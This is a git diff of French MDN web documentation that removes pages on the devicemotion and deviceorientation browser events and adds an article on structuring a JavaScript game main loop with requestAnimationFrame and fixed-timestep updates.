Vérifiez system-properties.xml pour les propriétés de votre système favori. MSXML possède une propriété supplémentaire : -

-
      <xsl:if xmlns:msxsl="urn:schemas-microsoft-com:xslt"
-              test="system-property('msxsl:version')=3">
-        <!-- MSXML3 specific markup -->
-      </xsl:if>
-
-

Que dire de media="print"?

-

Lors de l'impression d'un document, Mozilla tente de produire une page imprimée aussi proche que possible de l'affichage à l'écran, en incluant par exemple le texte saisi dans des champs de formulaire, et tout autre changement dynamique. Pour cela, on imprime l'arbre DOM actuel. Utiliser une feuille de style XSLT spécifique à un media particulier requiererait une nouvelle transformation du document XML source original, ce qui pourrait produire une sortie différant de ce à quoi l'utilisateur s'attend. Aussi, l'utilisation de media dans <?xml-stylesheet ?> est fortement déconseillée. Les futures compilations pourraient ne charger une feuille de style XSLT que si media n'est pas spécifié, ou si le media spécifié comporte screen. -

Ceci n'affecte pas les feuilles de style CSS chargées depuis le DOM généré, qui emploient media comme les pages sans XSLT. -

-

Comment faire transformNode?

-

Il existe transformToDocument et transformToFragment depuis Mozilla 1.2, voir Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL. -

-

Pourquoi Internet Explorer requiert-il un espace de nommage différent de celui de Mozilla ?

-

Jusqu'à sa version 6, IE requiert un espace de nommage déprécié issu d'un brouillon XSLT, merci d'utiliser Mozilla ;-), IE6+ ou MSXML3+, qui ne posent pas ce problème. Comme les différences entre XSLT 1.0 et l'implémentation dans IE de ce brouillon sont significatives, nous n'offrons pas de support. -

-

Comment compiler une version autonome de TransforMiiX ?

-

Voir l'article sur Compilation de TransforMiiX. -

-
-

Informations sur le document original

-
  • Auteur(s) : Axel Hecht -
  • Dernière mise à jour : 2 février 2005 -
  • Copyright : Portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a Creative Commons license -
-
-

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XSL_Transformations_in_Mozilla_FAQ", "ja": "ja/XSL_Transformations_in_Mozilla_FAQ" } ) }} diff --git a/files/fr/fuel/window/devicemotion_event/index.html b/files/fr/fuel/window/devicemotion_event/index.html deleted file mode 100644 index 8d58d934f4..0000000000 --- a/files/fr/fuel/window/devicemotion_event/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: devicemotion -slug: FUEL/Window/devicemotion_event -translation_of: Web/API/Window/devicemotion_event ---- -

L'événement devicemotion est déclenché à intervalles réguliers et indique la quantité de force physique d'accélération que le périphérique reçoit à ce moment. Il fournit également des informations sur le taux de rotation, si disponible.

- -

Informations générales

- -
-
Spécification
-
DeviceOrientation Event
-
Interface
-
DeviceMotionEvent
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
DefaultView (window)
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target Lecture seule EventTargetThe event target (the topmost target in the DOM tree).
type Lecture seule DOMStringThe type of event.
bubbles Lecture seule BooleanWhether the event normally bubbles or not
cancelable Lecture seule BooleanWhether the event is cancellable or not?
acceleration Lecture seule DeviceAccelerationThe acceleration of the device. This value has taken into account the effect of gravity and removed it from the figures. This value may not exist if the hardware doesn't know how to remove gravity from the acceleration data.
accelerationIncludingGravity Lecture seule DeviceAccelerationThe acceleration of the device. This value includes the effect of gravity, and may be the only value available on devices that don't have a gyroscope to allow them to properly remove gravity from the data.
interval Lecture seule doubleThe interval, in milliseconds, at which the DeviceMotionEvent is fired. The next event will be fired in approximately this amount of time.
rotationRate Lecture seule DeviceRotationRateThe rates of rotation of the device about all three axes.
- -

Exemple

- -
function handleMotionEvent(event) {
-
-    var x = event.accelerationIncludingGravity.x;
-    var y = event.accelerationIncludingGravity.y;
-    var z = event.accelerationIncludingGravity.z;
-
-    // Faire quelque chose de génial.
-}
-
-window.addEventListener("devicemotion", handleMotionEvent, true);
-
- -

Evénements liés

- - diff --git a/files/fr/fuel/window/deviceorientation/index.html b/files/fr/fuel/window/deviceorientation/index.html deleted file mode 100644 index 2bae31987e..0000000000 --- a/files/fr/fuel/window/deviceorientation/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: deviceorientation -slug: FUEL/Window/deviceorientation -translation_of: Web/API/Window/deviceorientation_event ---- -

L'événement deviceorientation est déclenché lorsque de nouvelles données sont disponibles à partir d'un capteur d'orientation à propos de l'orientation actuelle du dispositif par rapport à la trame de coordonnées terrestres. Ces données sont recueillies à partir d'un magnétomètre à l'intérieur de l'appareil. Voir explications sur les données de mouvements et d'orientations pour plus de détails.

- -

Informations générales

- -
-
Spécification
-
DeviceOrientation Event
-
Interface
-
DeviceOrientationEvent
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
DefaultView (window)
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target Lecture seule EventTargetThe event target (the topmost target in the DOM tree).
type Lecture seule DOMStringThe type of event.
bubbles Lecture seule BooleanWhether the event normally bubbles or not
cancelable Lecture seule BooleanWhether the event is cancellable or not?
alpha Lecture seule double (float)The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.
beta Lecture seule double (float)The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.
gamma Lecture seule double (float)The current orientation of the device around the Y axis; that is, how far the device is turned left or right.
absolute Lecture seule booleanThis value is true if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is false.
- -

Example

- -
if (window.DeviceOrientationEvent) {
-    window.addEventListener("deviceorientation", function(event) {
-        // alpha: rotation around z-axis
-        var rotateDegrees = event.alpha;
-        // gamma: left to right
-        var leftToRight = event.gamma;
-        // beta: front back motion
-        var frontToBack = event.beta;
-
-        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
-    }, true);
-}
-
-var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
-    // Faire quelque chose d'étonnant
-};
-
- -

Compatibilités navigateur

- -

Nous convertissons les données de compatibilité dans un format JSON. - Ce tableau de compatibilité utilise encore l'ancien format - car nous n'avons pas encore converti les données qu'il contient. - Vous pouvez nous aider en contribuant !
- -
- - -

- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique7.03.6[1]???
-
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique3.03.6[1]Pas de support124.2
-
- -

[1] Firefox 3.6, 4, et 5 a supporté mozOrientation contre l'événement standard DeviceOrientation.

- -

Evénements lilés

- - - -

Voir aussi

- - diff --git a/files/fr/games/anatomy/index.html b/files/fr/games/anatomy/index.html new file mode 100644 index 0000000000..61f5534983 --- /dev/null +++ b/files/fr/games/anatomy/index.html @@ -0,0 +1,327 @@ +--- +title: Anatomie d'un jeu vidéo +slug: Jeux/Anatomie +tags: + - Boucle Principale + - JavaScript + - Jeux + - requestAnimationFrame +translation_of: Games/Anatomy +--- +
{{GamesSidebar}}

  {{IncludeSubnav("/fr/docs/Jeux")}}

+ +
+

Cet article se concentre sur l'anatomie et le flux de la plupart des jeux video à partir d'un point de vue technique, concernant la manière dont la boucle principale devrait tourner. Cela aide les débutants dans l'arène du développement à comprendre  ce qui est requis quand il est question de bâtir un jeu et comment les standards du web comme JavaScript leur est offert comme outil. Les programmeurs de jeux expérimentés et nouveaux dans le développement web pourront aussi en tirer bénéfice.

+
+ +

Présenter, accepter, interpréter, calculer, repéter

+ +

Le but de chaque jeu vidéo est de présenter à (aux) utilisateur(s) une situation, accepter leur entrée, interpréter ces signaux en actions, et calculer une nouvelle situation résultant de ces actes. Les jeux bouclent continuellement à travers ces niveaux, jusqu'à ce qu'une condition finale arrive (comme gagner, perdre, ou quitter le jeu). Sans surprise, ce modèle correspond à la manière dont un moteur de jeu est programmé.

+ +

Ces spécificités dépendent du jeu.

+ +

Certains jeu maintiennent ce cycle par les entrées du joueur. Imaginez que vous développez un jeu du type "trouvez les différences entre ces deux images". Ces jeux présentent deux images à l'utilisateur; ils accèptent leur clics (ou touchés); ils interprètent l'entrée comme un succès, une erreur, une pause, une interaction de menu, etc.; finalement, ils calculent une scène mise à jour resultant de l'entrée de donnée. La boucle du jeu évolue par l'entrée de l'utilisateur et s'arrête jusqu'à ce qu'il en soumette une nouvelle. C'est plus une approche au coup par coup qui ne demande pas une mise à jour continuelle de chaque image, mais juste quand le joueur réagit.

+ +

D'autres jeux demandent un contrôle précis à chaque fraction de seconde. Les principes sont les mêmes avec une légère différence: chaque animation fait progresser le cycle et tout changement d'entrée d'un utilisateur est capturé dès que possible. Ce modèle au coup par image  est implementé dans ce que l'on appelle la boucle principale. Si vos boucles de jeu sont basées sur le temps alors ce sera là-dessus que seront basées vos simulations.

+ +

Mais parfois ce n'est pas un contrôle dans le temps. Votre boucle de jeu peut être similaire à l'exemple cherchez les différences et se baser directement sur les entrées. Cela peut être nécessaire d'avoir à la fois les entrées et un temps simulé. Cela peut aussi être basé sur une boucle qui utilise d'autre chose.

+ +

Le JavaScript moderne — comme décrit dans les prochaines sections — heureusement, facilite le développement d'une boucle efficace éxécutée une fois par seconde. Bien sûr, votre jeu sera optimisé au long de sa conception. Si quelque chose doit s'apparenter à un évènement peu fréquent alors il sera préférable de briser la boucle principale (mais pas tout le temps).

+ +

Construire une boucle principale en JavaScript

+ +

JavaScript travaille beaucoup mieux avec des évènements et des fonctions de rappel. Les navigateur modernes s'efforcent d'appeler des méthodes au moment où elles sont nécessaires et mises en pause (ou font leur travail) le reste du temps. Il est de bonne pratique d'attacher votre code au moment le plus approprié. Pensez à quel moment votre fonction à besoin d'être appelée sur un interval de temps strict, à chaque image, ou seulement après que quelque chose se soit passé. Être plus spécifique avec le navigateur quand votre fonction à besoin d'être appelée permet au navigateur d'être optimisé une fois votre boucle appelée. De plus, cela peut rendre votre tâche plus aisée.

+ +

Certain programmes ont besoin d'être lancés image-par-image alors pourquoi y attacher quelque chose d'autre que le taux de rafraîchissement du navigateur ? Dans le web, {{ domxref("window.requestAnimationFrame()") }} sera la fondation de bien des boucles principales. Une fonction de rappel doit lui être passée quand elle est appelée. Cette fonction de rappel sera éxécutée à un moment précis avant le prochain rafraîchissement. Voici un exemple d'une simple boucle principale:

+ +
window.main = function () {
+  window.requestAnimationFrame( main );
+
+  //Qu'importe ce que votre boucle principale doit faire.
+};
+
+main(); //Débuter le cycle.
+ +

Note: Dans chaque méthodes main() présentées ici, nous planifions un nouveau requestAnimationFrame avant de lancer le contenu de notre boucle. Ce n'est pas par accident et c'est considéré comme une meilleure pratique. Appeler le prochain requestAnimationFrame plus tôt assure que le navigateur la recevra à temps pour le planifier convenablement même si vous image courrante rate la fenêtre de synchronisation principale (VSync).

+ +

La portion de code ci-dessus comporte deux déclarations. La première créée une fonction comme variable globale appelée main(). Cette fonction effectue un travail et indique aussi au navigateur de s'appeler elle-même au prochain window.requestAnimationFrame(). La seconde déclaration appelle la fonction main(), definie dans la première déclaration. Parceque main() est appelé une fois dans la seconde déclaration et chaque appel de celle-ci la place dans la queue des choses à faire à chaque image, main() est synchronisée à votre taux de rafraîchissement.

+ +

Bien sûr, cette boucle n'est pas parfaite. Avant que nous discutions de manières de la modifier, parlons de ce qu'elle fait de bien.

+ +

Temporiser la boucle principale avec le rafraîchissement du navigateur permet à votre boucle d'être éxécutée aussi fréquemment que le navigateur à besoin de rafraîchir l'écran. Cela vous permet de contrôler chaque image de votre animation. C'est aussi beaucoup plus simple car main() est la seule fonction qui est bouclée. Dans un jeu de tir à la première personne (ou un jeu équivalent) on présente une nouvelle scène à chaque image. Vous ne pouvez donc pas obtenir quelque chose de plus fluide que cela.

+ +

Pourtant n'imaginez pas que les animations requièrent un contrôle image-par-image. De simples animations peuvent être éxécutées, même avec une accélération matérielle, avec des animations CSS et d'autres outils inclus dans le navigateur. Bon nombre vont vous faciliter la vie.

+ +

Construire une meilleure boucle principale en Javascript

+ +

Il y a deux problèmes évidents avec notre boucle principale précédente: main() pollue l'objet {{ domxref("window") }} (où sont stockées toutes les variables globales) et l'exemple donné ne nous permet pas de stopper la boucle à moins que l'onglet du navigateur ne soit fermé ou rafraîchit. Pour le premier problème, si vous désirez que la boucle principale tourne simplement sans y accéder directement, vous pouvez en crééer une fonction à accès immédiat -(FAI ou "Immediately-Invoked Function Expression - IIFE").

+ +
/*
+* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
+* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
+* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
+* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
+*/
+
+;(function () {
+  function main() {
+    window.requestAnimationFrame( main );
+
+    // Contenu de votre boucle principale.
+  }
+
+  main(); // Débute le cycle
+})();
+ +

Quand le navigateur passe à travers la FAI, cela va définir votre boucle principale et immédiatement la mettre en file d'attente pour la prochaine image. Cela ne sera attaché à aucun objet et main (ou main() pour les méthodes) sera un nom valide inutilisé dans le reste de l'application, libre d'être défini comme quelque chose d'autre.

+ +

Note: En pratique, il est plus courant de prévenir le prochain requestAnimationFrame() avec une déclaration "if", plutôt que d'appeler cancelAnimationFrame().

+ +

Pour le second problème, arrêter la boucle principale, vous aurez besoin d'annuler l'appel à main() avec {{ domxref("window.cancelAnimationFrame()") }}. Vous aurez besoin de passer la valeur donneé par cancelAnimationFrame() en référence à requestAnimationFrame() quand elle a été appelée en dernier. Assumons que vos fonctions de jeu et les variables sont bâties dans un espace de nom appelé MyGame. Avec notre dernier exemple étendu, la boucle principale aura maintenant l'air de ceci:

+ +
/*
+* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
+* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
+* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
+* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
+*
+* Assumons aussi que MyGame est défini précédemment.
+*/
+
+;(function () {
+  function main() {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    // Contenu de votre boucle principale.
+  }
+
+  main(); // Début du cycle
+})();
+ +

Nous avons maintenant une variable déclarée dans l'espace de nom MyGame, que nous appelons stopMain, qui contient la valeur de l'appel de notre boucle principale requestAnimationFrame() la plus récente. À tout moment, nous pouvons stopper la boucle principale en disant au navigateur d'annuler la requête qui correspond à notre valeur.

+ +
window.cancelAnimationFrame( MyGame.stopMain );
+ +

La clé pour programmer une boucle principale, en JavaScript, est d'attacher n'importe quel évènement qui doit diriger votre action et porter attention aux systèmes interconnectés. Vous pourriez avoir différents composants dirigés par différents évènements. Cela paraît comme d'une complexité inutile mais cela peut être une bonne optimisation (pas nécessairement, bien sûr). Le problème c'est que vous ne programmez pas une boucle principale typique. En Javascript, vous utilisez la boucle principale du navigateur et vous essayez de le faire avec efficacité.

+ +

Construire une boucle principale encore plus optimisée en JavaScript

+ +

En fin de compte, en JavaScript, le navigateur roule sa propre boucle principale et votre code existe dans certaines de ses étapes. La section ci-dessus décrit des boucles principales qui essaient de ne pas lâcher le contrôle du navigateur. Ces méthodes principales s'attachent à window.requestAnimationFrame(), qui demandent au navigateur le contrôle sur la prochaine image qui arrive. C'est au navigateur de décider de la gestion de sa boucle principale. Les spécifications du W3C en matière de requestAnimationFrame ne définissent pas exactement quand les navigateur doivent éxécuter les rappels de requestAnimationFrame. Cela pourrait être bénéfique car cela laisse aux concepteurs de navigateurs la liberté d'expérimenter les solutions qu'ils pensent être les meilleures au travers du temps.

+ +

Les versions modernes de Firefox et Google Chrome (et probablement d'autres)tentent de connecter les rappels de requestAnimationFrame à leur fil principal au tout début de chaque image. De ce fait, le déroulement principal essaye d'être le plus possible comme ci-dessous:

+ +
    +
  1. Débuter une nouvelle image (pendant que la précédente est prise en charge par l'affichage).
    2. +
  2. Passer à travers la liste de retours requestAnimationFrame et les appeler.
    3. +
  3. Passer le ramasse-miettes et autres tâches par-images quand les retours ci-dessous cessent de controler le fil principal.
    4. +
  4. Se mettre en veille (à moins qu'un évènement interrompe la sieste du navigateur) jusqu'à ce que le moniteur ne soit prêt pour votre image (VSync) et répète.
    5. +
+ +

Vous pouvez considérer que développer une application en temps réél est comme avoir un temps donné pour faire le travail. Toutes les étapes ci-dessus doivent prendre effet toutes les 16.5 millisecondes pour fonctionner avec un affichage de 60Hz. Les navigateurs invoquent leur code aussitôt que possible pour donner un maximum de temps aux calculs. Votre fil principal va souvent débuter par les tâches qui ne sont même pas dans le fil principal (tel que la rasterisation ou les ombrages en WebGL). Les longs calculs peuvent être fait par un Web Worker ou une accélération matérielle en même temps que le navigateur utilise son propre fil principal pour passer le ramasse-miette, ces autres tâches, ou gérer les évènements asynchrones.

+ +

Bien que nous ne discutons pas du gain de temps, plusieurs navigateur ont un outil appelé Temps Haute Résolution. L'objet {{ domxref("Date") }} n'est plus la méthode reconnue pour temporiser les évènements car elle est très imprécise et peut être modifiée par l'horloge système. Le Temps Haute Résolution, d'un autre côté, compte le nombre de millisecondes depuis navigationStart (quand le document précédent est déchargé). Cette valeur est retournée en un nombre décimal précis au millième de seconde. Il est connu comme étant {{ domxref("DOMHighResTimeStamp") }} mais, à toutes fins utiles, considérez le comme un nombre décimal à virgule flottante.

+ +

Note: Les systèmes (matériels ou logiciels) qui ne sont pas capables d'avoir une précision à la microseconde sont autorisés à fournir une précision à la milliseconde au minimum. Sinon, ils devraient fournir une précision de 0.001ms s'ils en sont capables.

+ +

Seule, cette valeur n'est pas très utile, considérant qu'il est relatif à un évènement peu intéressant, mais ils peut quand même être soustrait d'une autre prise de temps pour déterminer plus précisément combien de temps s'est déroulé entre ces deux poins. Pour obtenir une de ces prises de temps, vous pouvez appeler la fonction window.performance.now() et stocker le résultat dans une variable.

+ +
var tNow = window.performance.now();
+
+ +

Retournons sur le sujet de la boucle principale. Il vous arrivera souvent de vouloir savoir quand votre boucle principale a été invoquée. Parce que cela est commun, la fonction window.requestAnimationFrame() fourni toujours un DOMHighResTimeStamp avec un argument de retour quand elles sont éxécutées. Cela mène à une amélioration de notre boucle précédente.

+ +
/*
+* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
+* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
+* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
+* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
+*
+* Assumons aussi que MyGame est défini précédemment.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    // Contenu de votre boucle principale.
+    // tFrame, provenant de "function main ( tFrame )", est maintenant un DOMHighResTimeStamp (Temps Haute Résolution du DOM) fourni par rAF.
+  }
+
+  main(); // Débute le cycle
+})();
+ +

Plusieurs autres optimisations sont possibles et cela dépend vraiment de ce que votre jeu tente d'accomplir. Le genre de votre jeu va visiblement faire la différence mais il peut être aussi subtil que cela. Vous pourriez dessiner un pixel à la fois sur un canvas ou vous pourriez étager des éléments du DOM (incluant de multiples canvas de WebGL avec des arrières-plans transparents si vous le désirez) en une hierarchie complexe. Chacunes de ces solutions mènera à des contraintes et opportunités différentes.

+ +

Il est temps de la... décision

+ +

Vous aurez besoin de faire un choix difficile concernant votre boucle principale: comment simuler l'évolution du temps. Si vous désirez un contrôle par image alors vous aurez besoin de déterminer combien sera-t-il nécessaire à votre jeu d'être remis à jour et dessiné. Vous pourriez même vouloir une mise à jour et dessiner à différents taux (de rafraîchissement). Vous aurez aussi besoin de considérer combien comment votre jeu échouera gracieusement si le système de l'utilisateur ne peut soutenir la charge de travail. Commençons par considérer que vous serez capables de gérer les entrées de l'utilisateur et de mettre à jour l'état du jeu à chaque fois que vous dessinez. Nous ramifierons après.

+ +

Note: Changer la manière dont votre boucle principale gère le temps est un cauchemar de débuggage, partout. Pensez à vos besoins, précautionneusement, avant de travailler sur votre boucle principale.

+ +

De quoi les jeux dans le navigateur devraient avoir l'air

+ +

Si votre jeu peut atteindre le maximum du taux de rafraîchissement sur n'importe quel matériel que vous supportez, alors votre travail est plutôt facile. Vous pouvez simplement mettre à jour, effectuer le rendu, et ne rien faire avant la synchronisation verticale (VSync).

+ +
/*
+* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
+* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
+* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
+* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
+*
+* Assumons aussi que MyGame est défini précédemment.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    update( tFrame ); //Appelez votre méthode de mise à jour. Dans notre cas, nous lui donnons la capture de temps rAF.
+    render();
+  }
+
+  main(); // Start the cycle
+})();
+ +

Si le maximum du taux de rafraîchissement ne peut être atteind, les paramètres de qualités pourraient être mis à jour pour rester sous notre gain en temps. L'exemple le plus célèbre de ce concept est le jeu de id Software, RAGE. Ce jeu a retiré à l'utilisateur le contrôle afin de conserver son temps de calcul à environ 16ms (ou environ 60ips). Si le calcul prenait trop de temps alors la résolution serait diminuée, les textures et autres éléments échoueraient au chargement et à l'affichage, et ainsi de suite. Ce cas (non-web) a créé plusieurs hypothèses et faits:

+ +
    +
  • Chaque image d'animation compte pour une entrée utilisateur.
    • +
  • Aucune image n'a besoin d'être extrapolée (devinée) car chaque élément à sa propre mise à jour.
    • +
  • Les systèmes simulés peuvent en gros considérer que chaque mise à jour complète est d'environ 16ms.
    • +
  • Permettant à l'utilisateur le contrôle à travers des paramètres serait un cauchemar.
    • +
  • Des moniteur différents apportent des taux de rafraîchissement différents: 30 FPS, 75 FPS, 100 FPS, 120 FPS, 144 FPS, etc.
    • +
  • Des systèmes qui ne sont pas capables de fonctionner avec 60 FPS vont perdre en qualité pour permettre au jeu de rouler à une vitesse optimale (éventuellement, il échouera complètement si cela devient trop bas).
    • +
+ +

Autres manières de gérer les besoins du taux de rafraîchissement variable

+ +

D'autres méthodes d'approcher le problème existent.

+ +

Une technique commune est de mettre à jour la simulation à une fréquence constante et dessiner autant (ou au moins) que le taux actuel le permet. Cette méthode de mise à jour peut continuer à boucler sans se soucier de ce que l'utilisateur voit. Cette méthode peut voir la dernière mise à jour, et quand elle est arrivée. Quand le dessin sait quand il est représenté, et le temps simulé pour la dernière mise à jour, il peut prédire une image plausible à dessiner. Cela n'a pas d'importance si c'est plus fréquent que la mise à jour officielle (ou même moins fréquente). La méthode de mise à jour établis des points de contrôle, autant que le système le permet, la méthode de rendu va dessiner autour de ces intants de temps. Il y a plusieurs manières de séparer la méthode de mise à jour dans les standards du web:

+ +
    +
  • Dessiner à chaque requestAnimationFrame et mettre à jour {{ domxref("window.setInterval") }} ou {{ domxref("window.setTimeout") }}. + +
      +
    • Cela utilise le temps du processeur même quand il n'a pas l'attention ou qu'il est minimisé, qu'il ne monopolise pas le fil principal, et est probablement un artefact de la traditionnelle boucle principale (mais plus simple).
      • +
    +
    • +
  • Dessiner à chaque requestAnimationFrame et mettre à jour sur un setInterval ou setTimeout dans un Web Worker. +
      +
    • C'est la même chose que ci-dessus, excepté que la mise à jour ne monopolise pas le fil principal (ni le fil principal ne le monopolise). C'est une solution plus complexe, et ce pourrait être trop de travail pour de simples mises à jours.
      • +
    +
    • +
  • Dessiner à chaque requestAnimationFrame et l'utiliser pour solliciter un Web Worker qui contient la méthode de mise à jour avec la quantité de temps à calculer, s'il y a lieu. +
      +
    • Cela se met en veille jusqu'à ce que requestAnimationFrame est appelée et ne pollue pas le fil principal, et de plus vous ne vous reposez pas sur d'anciennes méthodes. À nouveau, c'est un peu plus complexe que les deux premières options, et débuter chaque mise à jour sera bloqué tant que le navigateur ne décide de lancer les retours rAF.
      • +
    +
    • +
+ +

Chacune de ces méthodes ont un compromis similaire:

+ +
    +
  • Les utilisateurs peuvent éviter le rendu d'images ou interpoler celles en sus dépendant de leurs performances.
    • +
  • Vous pouvez compter sur tous les utilisateurs mettant à jours les variables non-cosmetiques à la même fréquence constante, moins quelques hoquets.
    • +
  • Beaucoup plus compliquée à programmer que la boucle de base que nous avons vu précédemment.
    • +
  • Les entrées utilisateurs sont complètement ignorées jusqu'à la prochaine mise à jour (même si l'utilisateur à un système rapide).
    • +
  • L'interpolation obligatoire à un défaut de performance obligatoire.
    • +
+ +

Une méthode séparée de mise à jour et de dessin pourrait avoir l'air de l'exemple suivant. Pour les besoins de la démonstration, l'exemple est basé sur le troisième point, sans l'utilisation des Web Workers par soucis de lecture (et, soyons honnête, pour faciliter l'écriture).

+ +

Note: Cet exemple spécifiquement, aurait besoin d'une relecture.

+ +
/*
+* Débuter avec le point virgue au cas où le code qui réside au-dessus de cet exemple
+* s'appuie sur l'insertion automatique de point virgule (ASI). Le navigateur peut alors accidentellement
+* penser que c'est un exemple complet provenant de la ligne précédente. Le point virgule de tête
+* marque le début de notre nouvelle ligne si la précédente n'était pas vide ou complétée.
+*
+* Assumons aussi que MyGame est défini précédemment.
+*
+*
+* MyGame.lastRender fait le suivi du dernier poinçon de temps fourni par requestAnimationFrame.
+* MyGame.lastTick fait le suivi de la dernière mise à jour. Toujours incrémenté par tickLength.
+* MyGame.tickLength est à quelle fréquence le jeu est mis à jour. C'est 20 Hz (50ms) ici.
+*
+* timeSinceTick est le temps entre un retour de requestAnimationFrame et la dernière mise à jour.
+* numTicks est combien de mises à jour auraient dû avoir lieu entre 2 rendus d'images.
+*
+* render() se voit passé tFrame car il est considéré que la méthode de rendu va calculer
+           combien de temps se sera écoulé depuis la mise à jour la plus récente pour
+           extrapolation (purement cosmétique pour des systèmes rapides). La scène est dessinée.
+*
+* update() calcule l'état du jeu comme point donné dans le temps. Ça devrait toujours être
+           incrémenté par tickLength. C'est l'autorité de l'état du jeu. On lui passe le
+           DOMHighResTimeStamp pour le temps que cela représente (qui, à nouveau, est toujours
+           la dernière mise à jour + MyGame.tickLength qu'une pause ne soit ajoutée, etc.)
+*
+* setInitialState() réalise n'importe quel tâche mise de côté avant que la boucle principale ne doive tourner.
+*                   Ceci est juste un exemple générique d'une fonction que vous devriez ajouter.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+    var nextTick = MyGame.lastTick + MyGame.tickLength;
+    var numTicks = 0;
+
+    //Si tFrame < nextTick alors 0 ticks doit être mis à jour (0 est par défaut pour numTicks).
+    //Si tFrame = nextTick alors 1 tick doit être mis à jour (et ainsi de suite).
+    //Note: Comme nous le mentionons dans le sommaire, vous devriez faire un suivi de la taille de numTicks.
+    //S'il est important, alors soit votre jeu est en veille, soit votre machine ne répond plus.
+    if (tFrame > nextTick) {
+      var timeSinceTick = tFrame - MyGame.lastTick;
+      numTicks = Math.floor( timeSinceTick / MyGame.tickLength );
+    }
+
+    queueUpdates( numTicks );
+    render( tFrame );
+    MyGame.lastRender = tFrame;
+  }
+
+  function queueUpdates( numTicks ) {
+    for(var i=0; i < numTicks; i++) {
+      MyGame.lastTick = MyGame.lastTick + MyGame.tickLength; //Maitenant lastTick est ce tick.
+      update( MyGame.lastTick );
+    }
+  }
+
+  MyGame.lastTick = performance.now();
+  MyGame.lastRender = MyGame.lastTick; //Prétendre que le premier dessin était sur la première mise à jour.
+  MyGame.tickLength = 50; //Cela positionne votre simulation pour tourner à 20Hz (50ms)
+
+  setInitialState();
+  main(performance.now()); // Débute le cycle
+})();
+ +

Une autre alternative est de simplement faire certaines choses moins souvent. Si une portion de votre boucle de mise à jour est difficile à calculer et intense (en temps), vous devrier considérer réduire sa fréquence et, idéalement, la diviser en portions à travers une période plus allongée. Un exemple implicite de cela est rencontré dans "The Artillery Blog for Artillery Games", où ils ajustent leur taux de création de miettes pour optimiser leur ramasse-miettes. Apparemment, le nettoyage des ressources n'est pas sensible au temps (spécialement si le nettoyage est plus dérangeant que le la miette elle-même).

+ +

Cela peut aussi s'appliquer à vos propres tâches. Elles sont de bonnes candidates pour en générer quand les ressources disponibles deviennent un problème.

+ +

Sommaire

+ +

J'aimerai être clair que rien de ce qu'il y a ci-dessus, ou rien de cela, ne puisse être ce qu'il y a de mieux pour votre jeu. La décision correcte dépend entièrement des compromis que vous êtes prêts (ou pas) à faire. La préocupation est principalement de permuter vers une autre option. Heureusement, je n'en ai pas l'expérience mais j'ai entendu dire que c'est un jeu de cache-cache exténuant.

+ +

Une chose importante à retenir pour les plateformes gérées, telles que le web, est que votre boucle pourrait arrêter son éxécution pour une période de temps significative. Cela pourrait arriver quand l'utilisateur déselectionne votre onglet et que le navigateur tombe en veille (ou ralenti) son interval de retour requestAnimationFrame. Vous avez plusieurs façons de gérer cela et cela peut dépendre de votre jeu, s'il est pour un seul joueur ou multijoueurs. Certains des choix sont:

+ +
    +
  • Considérer le écart comme "une pause" et ne pas prendre en compte le temps. +
      +
    • Vous pouvez probablement voir comment cela peut être problématique pour la plupart des jeux multijoueurs.
      • +
    +
    • +
  • Vous pouvez stimuler l'écart pour faire du rattrapage. +
      +
    • Cela peut être un problème pour de longues pauses et/ou des mises à jour complexes.
      • +
    +
    • +
  • Vous pouvez récupérer l'état du jeu à partir d'un pair sur le serveur. +
      +
    • Ceci n'est pas efficace si votre pair ou le serveur sont périmés eux-aussi, ou s'ils n'existent pas car le jeu en mode un seul joueur n'existe pas et n'a pas de serveur.
      • +
    +
    • +
+ +

